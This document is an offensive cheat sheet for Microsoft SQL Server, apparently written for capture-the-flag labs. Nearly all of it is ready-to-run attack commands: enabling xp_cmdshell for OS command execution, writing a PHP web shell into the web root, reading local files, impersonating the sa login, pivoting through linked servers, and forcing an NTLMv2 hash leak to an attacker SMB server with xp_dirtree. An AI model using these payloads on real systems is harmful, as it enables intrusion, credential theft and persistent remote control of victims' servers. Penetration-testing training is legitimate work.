MSSQL#
Recon#
msfconsole
use scanner/mssql/mssql_ping
set RHOST $target
runConnect#
sqlcmd#
Connect to server -S SQL01, use database -d somedb
sqlcmd -S 'SQL01' -U 'thomas' -P 'TopSecretPassword23!' -d somedb -Wmssqlclient#
impacket-mssqlclient "$user:$pass@$target"sqsh#
sqsh -S $target -U "$user" -P "$pass"Common commands#
-- Show all db
SELECT name FROM master.dbo.sysdatabases
GO
-- Choose a db
USE htbusers
GO
-- Show tables in selected db
SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES
GO
-- Show all data in a table
SELECT * FROM users
GOCode execution#
impacket-mssqlclient#
Enable code execution
enable_xp_cmdshellCode execution
exec xp_cmdshell 'type \SQL2019\ExpressAdv_ENU\sql-Configuration.ini'sqsh#
Enable code execution
EXECUTE sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXECUTE sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GOCode execution
xp_cmdshell 'whoami'
GOWrite Local Files#
Enable write local file
sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
sp_configure 'Ole Automation Procedures', 1
GO
RECONFIGURE
GOWrite local file
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
GORead local file#
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
GOImpersonate to another account#
List all accounts we can use#
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
GOImpersonate#
EXECUTE AS LOGIN = 'sa'
GOVerify ‘sysadmin’ privilege#
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GOCommunicate with Other Databases#
MSSQLhas a configuration option called linked servers. Linked servers are typically configured to enable the database engine to execute a Transact-SQL statement that includes tables in another instance of SQL Server, or another database product such as Oracle.
Identify linked Servers#
SELECT srvname, isremote FROM sysservers
GOVerify service account privilege at linked server#
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
GOexecute ('select * from OPENROWSET(BULK ''C:/Users/Administrator/desktop/flag.txt'', SINGLE_CLOB) AS Contents') at [local.test.linked.srv];Capture hash#
We can steal the MSSQL service account hash using
xp_subdirsorxp_dirtreeundocumented stored procedures. When we use one of these and point it to our SMB server, the MSSQL service account will be forced to authenticate and send the NTLMv2 hash.
Setup#
responder -I <interface>Or impacket, if only need smb
rm -rf mkdir /tmp/smb; mkdir /tmp/smb
sudo impacket-smbserver share /tmp/smb -smb2supportThe IP is attacker’s ip
EXEC master..xp_dirtree '\\10.10.110.17\share\'
GO